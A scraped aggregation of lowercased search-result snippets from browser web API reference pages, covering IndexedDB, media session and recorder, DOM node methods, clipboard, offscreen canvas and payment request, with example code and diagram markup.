... // this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready for being inserted into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error: ' + transaction.e...
...rror + '</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'onerror' in that specification.
IDBVersionChangeEvent.newVersion - Web APIs
for a full working example, see our to-do notifications app (view example live.) var note = document.queryselector("ul"); // in the following line, you should include the prefixes of // implementations you want to test.
... window.indexeddb = window.indexeddb || window.mozindexeddb || window.webkitindexeddb || window.msindexeddb; // don't use "var indexeddb = ..." if you're not in a function.
...ences to some window.idb* objects: window.idbtransaction = window.idbtransaction || window.webkitidbtransaction || window.msidbtransaction; window.idbkeyrange = window.idbkeyrange || window.webkitidbkeyrange || window.msidbkeyrange; // (mozilla has never prefixed these objects, // so we don't need window.mozidb*) // let us open version 4 of our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the database being opened dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
IDBVersionChangeEvent - Web APIs
for a full working example, see our to-do notifications app (view example live.) var note = document.queryselector("ul"); // in the following line, you should include the prefixes of implementations you want to test.
... window.indexeddb = window.indexeddb || window.mozindexeddb || window.webkitindexeddb || window.msindexeddb; // don't use "var indexeddb = ..." if you're not in a function.
...eferences to some window.idb* objects: window.idbtransaction = window.idbtransaction || window.webkitidbtransaction || window.msidbtransaction; window.idbkeyrange = window.idbkeyrange || window.webkitidbkeyrange || window.msidbkeyrange; // (mozilla has never prefixed these objects, so we don't need window.mozidb*) // let us open version 4 of our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the database being opened successfully, or not dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
InputEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="8...
...6" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/uievent" target="_top"><rect x="116" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">uievent</text></a><polyline points="191,25 201,20 201,30 191,25" stroke="#d4dde4" fill="none"/><line x1="201" y1="25" x2="231" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/inputevent" target="_top"><rect x="231" y="1" width="100" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="281" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline...
...="middle">inputevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor inputevent() creates an inputevent object.
KeyboardEvent.initKeyEvent() - Web APIs
the keyboardevent.initkeyevent() method is used to initialize the value of an event created using document.createevent("keyboardevent").
... events initialized in this way must have been created with the document.createevent("keyboardevent") method.
... example var event = document.createevent('keyboardevent'); // create a key event // define the event event.initkeyevent("keypress", // typearg, true, // canbubblearg, true, // cancelablearg, null, // viewarg, specifies uievent.view.
Location - Web APIs
WebAPILocation
anatomy of location html <span id="href" title="href"><span id="protocol" title="protocol">http:</span>//<span id="host" title="host"><span id="hostname" title="hostname">example.org</span>:<span id="port" title="port">8888</span></span><span id="pathname" title="pathname">/foo/bar</span><span id="search" title="search">?q=baz</span><span id="hash" title="hash">#bang</span></span> css html, body {height:100%;} html {display:table; width:100%;} body {display:table-cell; text-align:center; vertical-align:middle...
...t:1.5; background:black;} [title]:hover:before, :target:before {background:black; color:yellow;} [title] [title]:before {margin-top:1.5em;} [title] [title] [title]:before {margin-top:3em;} [title]:hover, :target {position:relative; z-index:1; outline:50em solid rgba(255,255,255,.8);} javascript [].foreach.call(document.queryselectorall('[title][id]'), function (node) { node.addeventlistener("click", function(e) { e.preventdefault(); e.stoppropagation(); window.location.hash = '#' + $(this).attr('id'); }); }); [].foreach.call(document.queryselectorall('[title]'), function (node) { node.addeventlistener("click", function(e) { e.preventdefault(); e.stoppropagation(); window.location.hash = ''; }); }); result properties location.ancestororigins is a s...
... location.search is a usvstring containing a '?' followed by the parameters or "querystring" of the url.
Locks.mode - Web APIs
WebAPILockmode
the mode is either "exclusive" (the default) or "shared".
... syntax var mode = lock.mode value one of "exclusive" or "shared".
... // should show "exclusive" (the default) navigator.locks.request("my_resource", show_lock_properties); // should show "exclusive" navigator.locks.request("my_resource", {mode: "exclusive"}, show_lock_properties); // should show "shared" navigator.locks.request("my_resource", {mode: "shared"}, show_lock_properties); function show_lock_properties(lock) { console.log(`the lock name is: ${lock.name}`); console.log(`the lock mode is: ${lock.mode}`); } specifications specification status comment web locks apithe definition of 'mode' in that specification.
MediaError.message - Web APIs
the read-only property mediaerror.message returns a domstring which contains a human-readable string offering specific diagnostic details related to the error described by the mediaerror object, or an empty string ("") if no diagnostic information can be determined or provided.
... the error handler looks like this: audioelement.onerror = function() { let s = ""; let err = audioelement.error; switch(err.code) { case mediaerror.media_err_aborted: s += "the user canceled the audio."; break; case mediaerror.media_err_network: s+= "a network error occurred while fetching the audio."; break; case mediaerror.media_err_decode: s+= "an error occurred while decoding the audio."; break; ...
... case mediaerror.media_err_src_not_supported: s+= "the audio is missing or is in a format not supported by your browser."; break; default: s += "an unknown error occurred."; break; } let message = err.message; if (message && message.length) { s += " " + message; } displayerrormessage("<strong>error " + err.code + ":</strong> " + s + "<br>"); }; this gets the mediaerror object describing the error from the error property on the htmlaudioelement representing the audio player.
MediaRecorder.isTypeSupported - Web APIs
example var types = ["video/webm", "audio/webm", "video/webm\;codecs=vp8", "video/webm\;codecs=daala", "video/webm\;codecs=h264", "audio/webm\;codecs=opus", "video/mpeg"]; for (var i in types) { console.log( "is " + types[i] + " supported?
... " + (mediarecorder.istypesupported(types[i]) ?
... "maybe!" : "nope :(")); } specifications specification status comment mediastream recordingthe definition of 'istypesupported()' in that specification.
MediaRecorder.requestData() - Web APIs
when the requestdata() method is invoked, the browser queues a task that runs the following steps: if mediarecorder.state is not "recording", raise a dom invalidstate error and terminate these steps.
... if mediarecorder.state is "recording", continue to the next step.
... syntax mediarecorder.requestdata() errors an invalidstate error is raised if the requestdata() method is called while the mediarecorder object’s mediarecorder.state is not "recording" — the media cannot be captured if recording is not occurring.
MediaSession.setActionHandler() - Web APIs
let skiptime = 10; // time to skip in seconds navigator.mediasession.setactionhandler('seekforward', evt => { // user clicked "seek forward" media notification icon.
... audio.currenttime = math.min(audio.currenttime + skiptime, audio.duration); }); navigator.mediasession.setactionhandler('seekbackward', evt => { // user clicked "seek backward" media notification icon.
... audio.currenttime = math.max(audio.currenttime - skiptime, 0); }); supporting multiple actions in one handler function you can also, if you prefer, use a single function to handle multiple action types, by checking the value of the mediasessionactiondetails object's action property: let skiptime = 7; navigator.mediasession.setactionhandler("seekforward", handleseek); navigator.mediasession.setactionhandler("seekbackward", handleseek); function handleseek(details) { switch(details.action) { case "seekforward": audio.currenttime = math.min(audio.currenttime + skiptime, audio.duration); break; case "seekbackward": audio.currenttime = math.max(audio.currenttime - skiptime, 0); break; } } here, the handleseek() function handles both see...
Media Session action types - Web APIs
let skiptime = 10; // time to skip in seconds navigator.mediasession.setactionhandler('seekforward', evt => { // user clicked "seek forward" media notification icon.
... audio.currenttime = math.min(audio.currenttime + skiptime, audio.duration); }); navigator.mediasession.setactionhandler('seekbackward', evt => { // user clicked "seek backward" media notification icon.
... audio.currenttime = math.max(audio.currenttime - skiptime, 0); }); supporting multiple actions in one handler function you can also, if you prefer, use a single function to handle multiple action types, by checking the value of the mediasessionactiondetails object's action property: let skiptime = 7; navigator.mediasession.setactionhandler("seekforward", handleseek); navigator.mediasession.setactionhandler("seekbackward", handleseek); function handleseek(details) { switch(details.action) { case "seekforward": audio.currenttime = math.min(audio.currenttime + skiptime, audio.duration); break; case "seekbackward": audio.currenttime = math.max(audio.currenttime - skiptime, 0); break; } } here, the handleseek() function handles both see...
MediaSource - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle"...
... alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/mediasource" target="_top"><rect x="151" y="1" width="110" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="206" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">mediasource</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor mediasource() constructs and returns a new mediasource object with no associated source buffers.
...this example was written by nick desaulniers and can be viewed live here (you can also download the source for further investigation.) var video = document.queryselector('video'); var asseturl = 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource(); //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { ...
MediaStreamTrack.kind - Web APIs
the mediastreamtrack.kind read-only property returns a domstring set to "audio" if the track is an audio track and to "video", if it is a video track.
... syntax const type = track.kind value the possible values are a domstring with on of the following values: "audio": the track is an audio track.
... "video": the track is a video track.
MediaStreamTrack: mute event - Web APIs
note: the condition that most people think of as "muted" (that is, a user-toggled state of silencing a track) is actually managed using the mediastreamtrack.enabled property, for which there are no events.
... musictrack.addeventlistener("mute", event => { document.getelementbyid("timeline-widget").style.backgroundcolor = "#aaa"; }, false); musictrack.addeventlistener("unmute", event => { document.getelementbyid("timeline-widget").style.backgroundcolor = "#fff"; }, false); with these event handlers in place, when the track musictrack enters its muted state, the element with the id timeline-widget gets its background color changed to #aaa.
...the following example shows this: musictrack.onmute = event => { document.getelementbyid("timeline-widget").style.backgroundcolor = "#aaa"; } musictrack.mute = event = > { document.getelementbyid("timeline-widget").style.backgroundcolor = "#fff"; } specifications specification status comment media capture and streamsthe definition of 'mute' in that specification.
MediaStreamTrack.onunmute - Web APIs
the event handler receives as input a single parameter: an event whose kind is "unmute".
... example this example creates an unmute event handler which changes the state of a visual indicator to display the emoji character representing a "speaker" icon.
... mytrack.onunmute = function(evt) { playstateicon.innerhtml = "&#x1f508;"; }; specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.onunmute' in that specification.
MediaStreamTrack: unmute event - Web APIs
bubbles no cancelable no interface event event handler property onunmute note: the condition that most people think of as "muted" (that is, a user-controllable way to silence a track) is actually managed using the mediastreamtrack.enabled property, for which there are no events.
... musictrack.addeventlistener("mute", event => { document.getelementbyid("timeline-widget").style.backgroundcolor = "#aaa"; }, false); musictrack.addeventlistener("unmute", event => { document.getelementbyid("timeline-widget").style.backgroundcolor = "#fff"; }, false); with these event handlers in place, when the track musictrack enters its muted state, the element with the id timeline-widget gets its background color changed to #aaa.
...the following example shows this: musictrack.onmute = event => { document.getelementbyid("timeline-widget").style.backgroundcolor = "#aaa"; } musictrack.mute = event = > { document.getelementbyid("timeline-widget").style.backgroundcolor = "#fff"; } specifications specification status comment media capture and streamsthe definition of 'unmute' in that specification.
MediaTrackSupportedConstraints.frameRate - Web APIs
javascript let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().framerate) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } html <div id="result"> </div> css #result { font: 14px "arial", sans-serif; } result the output, showing if your browser supports the framerate constraint, is: while this example is trivial, you can replace the simple...
... output of "supported" vs.
... "not supported" with code to provide alternative methods for presenting the audiovisual information you want to share with the user or otherwise work with.
MouseEvent.relatedTarget - Web APIs
html <body id="body"> <div id="outer"> <div id="red"></div> <div id="blue"></div> </div> <p id="log"></p> </body> css #outer { width: 250px; height: 125px; display: flex; } #red { flex-grow: 1; background: red; } #blue { flex-grow: 1; background: blue; } #log { max-height: 120px; overflow-y: scroll; } javascript const mouseoutlog = document.getelementbyid('log'), red ...
...event.relatedtarget.id : "unknown"; mouseoutlog.innertext = `\nfrom ${event.target.id} into ${related} ${mouseoutlog.innertext}`; } function overlistener(event) { let related = event.relatedtarget ?
... event.relatedtarget.id : "unknown"; log.innertext = `\ninto ${event.target.id} from ${related} ${mouseoutlog.innertext}`; } result specifications specification status comment ui eventsthe definition of 'mouseevent.relatedtarget' in that specification.
msPlayToSource - Web APIs
example <video id="videoplayer" src="http://www.contoso.com/clip.mp4" controls autoplay /> <script type="text/javascript"> // step 1: obtain playtomanager object for app’s current view.
... ptm.addeventlistener("sourcerequested", function(e) { // step 3: specify the media to be streamed (to filter devices).
... e.sourcerequest.setsource(document.getelementbyid("videoplayer").msplaytosource); // the media will then be streamed to the device chosen by the user in the ui.
MutationEvent - Web APIs
preface the mutation events have been marked as deprecated in the dom events specification, as the api's design is flawed (see details in the "dom mutation events replacement: the story so far / existing points of consensus" post to public-webapps).
... cross-browser support these events are not implemented consistently across different browsers, for example: ie prior to version 9 didn't support the mutation events at all and does not implement some of them correctly in version 9 (for example, domnodeinserted) webkit doesn't support domattrmodified (see webkit bug 8191 and the workaround) "mutation name events", i.e.
...mutation events, as defined in dom level 3 events specification: domattrmodified domattributenamechanged domcharacterdatamodified domelementnamechanged domnodeinserted domnodeinsertedintodocument domnoderemoved domnoderemovedfromdocument domsubtreemodified usage you can register a listener for mutation events using eventtarget.addeventlistener() as follows: element.addeventlistener("domnodeinserted", function (event) { // ...
Navigator.clipboard - Web APIs
this permission must be obtained from the permissions api using the "clipboard-read" and/or "clipboard-write" permissions.
... navigator.clipboard.readtext().then( cliptext => document.queryselector(".cliptext").innertext = cliptext); this snippet replaces the contents of the element whose class is "cliptext" with the text contents of the clipboard.
... if the clipboard is empty or doesn't contain text, the "cliptext" element's contents are cleared.
NavigatorID.appCodeName - Web APIs
the value of the navigatorid.appcodename property is always "mozilla", in any browser.
...all browsers return "mozilla" as the value of this property.
... syntax codename = navigator.appcodename value the string "mozilla".
NavigatorID.appName - Web APIs
the value of the navigatorid.appname property is always "netscape", in any browser.
...all browsers return "netscape" as the value of this property.
... syntax appname = navigator.appname value the string "netscape".
NavigatorID.product - Web APIs
the value of the navigatorid.product property is always "gecko", in any browser.
...all browsers return "gecko" as the value of this property.
... syntax productname = navigator.product value the string "gecko".
NavigatorPlugins.plugins - Web APIs
the returned value is not a javascript array, but has the length property and supports accessing individual items using bracket notation (plugins[2]), as well as via item(index) and nameditem("name") methods.
...in chrome) return flash.description.replace(/shockwave flash /,""); } } the following example displays information about the installed plugin(s).
... var pluginslength = navigator.plugins.length; document.body.innerhtml = pluginslength + " plugin(s)<br>" + '<table id="plugintable"><thead>' +'<tr><th>name</th><th>filename</th><th>description</th><th>version</th></tr>' +'</thead><tbody></tbody></table>'; var table = document.getelementbyid('plugintable'); for(var i = 0; i < pluginslength; i++) { let newrow = table.insertrow(); newrow.insertcell().textcontent = navigator.plugins[i].name; newrow.insertcell().textcontent = navigator.plugins[i].filename; newrow.insertcell().textcontent = navigator.plugins[i].description; newrow.insertcell().textcontent = navigator.plugins[i].version?navigator.plugins[i].version:""; } notes the plugin object exposes a small interface for getting information about the various plugins insta...
Node.insertBefore() - Web APIs
WebAPINodeinsertBefore
example example 1 <div id="parentelement"> <span id="childelement">foo bar</span> </div> <script> // create the new node to insert let newnode = document.createelement("span") // get a reference to the parent node let parentdiv = document.getelementbyid("childelement").parentnode // begin test case [ 1 ] : existing childelement (all works correctly) let sp2 = document.getelementbyid("childelement") parentdiv.insertbef...
...ore(newnode, sp2) // end test case [ 1 ] // begin test case [ 2 ] : childelement is of type undefined let sp2 = undefined // non-existent node of id "childelement" parentdiv.insertbefore(newnode, sp2) // implicit dynamic cast to type node // end test case [ 2 ] // begin test case [ 3 ] : childelement is of type "undefined" ( string ) let sp2 = "undefined" // non-existent node of id "childelement" parentdiv.insertbefore(newnode, sp2) // generates "type error: invalid argument" // end test case [ 3 ] </script> example 2 <div id="parentelement"> <span id="childelement">foo bar</span> </div> <script> // create a new, plain <span> element let sp1 = document.createelement("span") // get the reference element let sp2 = document.getelementbyid("childelement") // get the parent element let ...
... // get the parent element let parentelement = document.getelementbyid('parentelement') // get the parent's first child let thefirstchild = parentelement.firstchild // create a new element let newelement = document.createelement("div") // insert the new element before the first child parentelement.insertbefore(newelement, thefirstchild) when the element does not have a first child, then firstchild is null.
Node.localName - Web APIs
WebAPINodelocalName
syntax name = element.localname name is the local name as a string (see notes below for details) example (must be served with xml content type, such as text/xml or application/xhtml+xml.) <html xmlns="http://www.w3.org/1999/xhtml" xmlns:svg="http://www.w3.org/2000/svg"> <head> <script type="application/javascript"><![cdata[ function test() { var text = document.getelementbyid('text'); var circle = document.getelementbyid('circle'); text.value = "<svg:circle> has:\n" + "localname = '" + circle.localname + "'\n" + "namespaceuri = '" + circle.na...
...mespaceuri + "'"; } ]]></script> </head> <body onload="test()"> <svg:svg version="1.1" width="100px" height="100px" viewbox="0 0 100 100"> <svg:circle cx="50" cy="50" r="30" style="fill:#aaa" id="circle"/> </svg:svg> <textarea id="text" rows="4" cols="55"/> </body> </html> notes the local name of a node is that part of the node's qualified name that comes after the colon.
...for example, in the qualified name ecomm:partners, partners is the local name and ecomm is the prefix: <ecomm:business id="soda_shop" type="brick_n_mortar" xmlns:ecomm="http://example.com/ecomm"> <ecomm:partners> <ecomm:partner id="1001">tony's syrup warehouse </ecomm:partner> </ecomm:partners> </ecomm:business> note: in gecko 1.9.2 and earlier, the property returns the upper-cased version of the local name for html elements in html doms (as opposed to xhtml elements in xml doms).
OfflineAudioContext - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><te...
...xt x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/audiocontext" target="_top"><rect x="151" y="1" width="120" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="211" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">audiocontext</text></a><polyline points="271,25 281,20 281,30 271,25" stroke="#d4dde4" fill="none"/><line x1="281" y1="25" x2="311" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/we...
...b/api/offlineaudiocontext" target="_top"><rect x="311" y="1" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">offlineaudiocontext</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor offlineaudiocontext.offlineaudiocontext() creates a new offlineaudiocontext instance.
OffscreenCanvas.convertToBlob() - Web APIs
syntax promise<blob> offscreencanvas.converttoblob(options); parameters optionsoptional you can specify several options when converting your offscreencanvas object into a blob object, for example: const blob = offscreencanvas.converttoblob({ type: "image/jpeg", quality: 0.95 }); options: type: a domstring indicating the image format.
... examples var offscreen = new offscreencanvas(256, 256); var gl = offscreen.getcontext("webgl"); // ...
... offscreen.converttoblob().then(function(blob) { console.log(blob); }); // blob { size: 334, type: "image/png" } specifications currently drafted as a proposal: offscreencanvas.
OffscreenCanvas.convertToBlob() - Web APIs
syntax promise<blob> offscreencanvas.converttoblob(options); parameters optionsoptional you can specify several options when converting your offscreencanvas object into a blob object, for example: const blob = offscreencanvas.converttoblob({ type: "image/jpeg", quality: 0.95 }); options: type: a domstring indicating the image format.
... examples var offscreen = new offscreencanvas(256, 256); var gl = offscreen.getcontext("webgl"); // ...
... offscreen.converttoblob().then(function(blob) { console.log(blob); }); // blob { size: 334, type: "image/png" } specifications specification status comment html living standardthe definition of 'offscreencanvas: converttoblob' in that specification.
OffscreenCanvas.convertToBlob() - Web APIs
syntax promise<blob> offscreencanvas.converttoblob(options); parameters options optional you can specify several options when converting your offscreencanvas object into a blob object, for example: const blob = offscreencanvas.converttoblob({ type: "image/jpeg", quality: 0.95 }); options: type: a domstring indicating the image format.
... examples var offscreen = new offscreencanvas(256, 256); var gl = offscreen.getcontext("webgl"); // ...
... offscreen.converttoblob().then(function(blob) { console.log(blob); }); // blob { size: 334, type: "image/png" } specifications currently drafted as a proposal: offscreencanvas.
OrientationSensor - Web APIs
model.quaternion.fromarray(sensor.quaternion).inverse(); }); sensor.addeventlistener('error', error => { if (event.error.name == 'notreadableerror') { console.log("sensor is not available."); } }); sensor.start(); permissions example using orientation sensors requires requsting permissions for multiple device sensors.
... const sensor = new absoluteorientationsensor(); promise.all([navigator.permissions.query({ name: "accelerometer" }), navigator.permissions.query({ name: "magnetometer" }), navigator.permissions.query({ name: "gyroscope" })]) .then(results => { if (results.every(result => result.state === "granted")) { sensor.start(); ...
... } else { console.log("no permissions to use absoluteorientationsensor."); } }); specifications specification status comment orientation sensorthe definition of 'orientationsensor' in that specification.
PageTransitionEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 ...
... 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/pagetransitionevent" target="_top"><rect x="116" y="1" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="211" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">pagetransitionevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, event.
... example html <!doctype html> <html> <body> </body> </html> javascript window.addeventlistener('pageshow', myfunction); function myfunction(event) { if (event.persisted) { alert("the page was cached by the browser"); } else { alert("the page was not cached by the browser"); } } specifications specification status comment html living standardthe definition of 'pagetransitionevent' in that specification.
PannerNode.rolloffFactor - Web APIs
syntax var audioctx = new audiocontext(); var panner = audioctx.createpanner(); panner.rollofffactor = 1; value a number whose range depends on the distancemodel of the panner as follows (negative values are not allowed): "linear" the range is 0 to 1.
... "inverse" the range is 0 to infinity.
... "exponential" the range is 0 to infinity.
ParentNode.append() - Web APIs
WebAPIParentNodeappend
examples appending an element let parent = document.createelement("div") let p = document.createelement("p") parent.append(p) console.log(parent.childnodes) // nodelist [ <p> ] appending text let parent = document.createelement("div") parent.append("some text") console.log(parent.textcontent) // "some text" appending an element and text let parent = document.createelement("div") let p = document.createelement("p") parent.append("some text", p) console.log...
...(parent.childnodes) // nodelist [ #text "some text", <p> ] parentnode.append() is unscopable the append() method is not scoped into the with statement.
... let parent = document.createelement("div") with(parent) { append("foo") } // referenceerror: append is not defined polyfill you can polyfill the append() method in internet explorer 9 and higher with the following code: // source: https://github.com/jserz/js_piece/blob/master/dom/parentnode/append()/append().md (function (arr) { arr.foreach(function (item) { if (item.hasownproperty('append')) { return; } object.defineproperty(item, 'append', { configurable: true, enumerable: true, writable: true, value: function append() { var argarr = array.prototype.slice.call(arguments), docfrag = document.createdocumentfragment(); argarr.foreach(function (argitem) { var ...
ParentNode.prepend() - Web APIs
examples prepending an element var parent = document.createelement("div"); var p = document.createelement("p"); var span = document.createelement("span"); parent.append(p); parent.prepend(span); console.log(parent.childnodes); // nodelist [ <span>, <p> ] prepending text var parent = document.createelement("div"); parent.append("some text"); parent.prepend("headline: "); console.log(parent.textcontent); // "headline: some text" appending an element and text ...
...var parent = document.createelement("div"); var p = document.createelement("p"); parent.prepend("some text", p); console.log(parent.childnodes); // nodelist [ #text "some text", <p> ] parentnode.prepend() is unscopable the prepend() method is not scoped into the with statement.
... var parent = document.createelement("div"); with(parent) { prepend("foo"); } // referenceerror: prepend is not defined polyfill you can polyfill the prepend() method if it's not available: // source: https://github.com/jserz/js_piece/blob/master/dom/parentnode/prepend()/prepend().md (function (arr) { arr.foreach(function (item) { if (item.hasownproperty('prepend')) { return; } object.defineproperty(item, 'prepend', { configurable: true, enumerable: true, writable: true, value: function prepend() { var argarr = array.prototype.slice.call(arguments), docfrag = document.createdocumentfragment(); argarr.foreach(function (argitem) { var isnode = argitem instanceo...
ParentNode.querySelectorAll() - Web APIs
examples to obtain a nodelist of all of the <p> elements in the document: var matches = document.queryselectorall("p"); this example returns a list of all <div> elements within the document with a class of either note or alert: var matches = document.queryselectorall("div.note, div.alert"); here, we get a list of <p> elements whose immediate parent element is a <div> with the class highlighted and which are located inside a container whose id is test.
... var container = document.queryselector("#test"); var matches = container.queryselectorall("div.highlighted > p"); this example uses an attribute selector to return a list of the <iframe> elements in the document that contain an attribute named data-src: var matches = document.queryselectorall("iframe[data-src]"); here, an attribute selector is used to return a list of the list items contained within a list whose id is userlist which have a data-active attribute whose value is 1: var container = document.queryselector("#userlist"); var matches = container.queryselectorall("li[data-active=1]"); user notes queryselectorall() behaves differently than most common javascript dom libraries, which might lead to unexpected results.
... <div class="outer"> <div class="select"> <div class="inner"> </div> </div> </div> javascript var select = document.queryselector('.select'); var inner = select.queryselectorall('.outer .inner'); inner.length; // 1, not 0!
ParentNode.replaceChildren() - Web APIs
this html might look something like this: <h2>party food option list</h2> <main> <div> <label for="no">no thanks!</label> <select id="no" multiple size="10"> <option>apples</option> <option>oranges</option> <option>grapes</option> <option>bananas</option> <option>kiwi fruits</option> <option>chocolate cookies</option> <option>peanut cookies</option> <option>chocolate bars</option> <option>ham sandwiches</option> <option>cheese san...
...dwiches</option> <option>falafel sandwiches</option> <option>ice cream</option> <option>jelly</option> <option>carrot sticks and houmous</option> <option>margherita pizza</option> <option>pepperoni pizza</option> <option>vegan veggie pizza</option> </select> </div> <div class="buttons"> <button id="to-yes">transfer to "yes" --&gt;</button> <button id="to-no">&lt;-- transfer to "no"</button> </div> <div> <label for="yes">yes please!</label> <select id="yes" multiple size="10"> </select> </div> </main> it would make sense to use some simple css to lay out the two select lists in a line alongside one another, with the control buttons in between them: main { display: flex; } div { margin-right: 20px; } label...
..., button { display: block; } .buttons { display: flex; flex-flow: column; justify-content: center; } select { width: 200px; } what we want to do is transfer any selected options in the "no" list over to the "yes" list when the "yes" button is pressed, and transfer any selected options in the "yes" list over to the "no" list when the "no" button is pressed.
PaymentRequest.PaymentRequest() - Web APIs
for example, in english speaking countries you would say "pizza delivery" not "pizza shipping".
... valid values are "shipping", "delivery", and "pickup".
...the default value is "shipping".
PaymentRequest: shippingoptionchange event - Web APIs
for example, if there are three options (such as "free ground shipping", "2-day air", and "next day"), each time the user chooses one of those options, this event handler is called to recalculate the total based on the changed shipping option.
... paymentrequest.addeventlistener("shippingoptionchange", event => { const value = calculatenewtotal(paymentrequest.shippingoption); const total = { currency: "eur", label: "total due", value, }; event.updatewith({ total }); }, false); after caling a custom function, calculatenewtotal(), to compute the updated total based on the newly-selected shipping option as specified by the shippingoption.
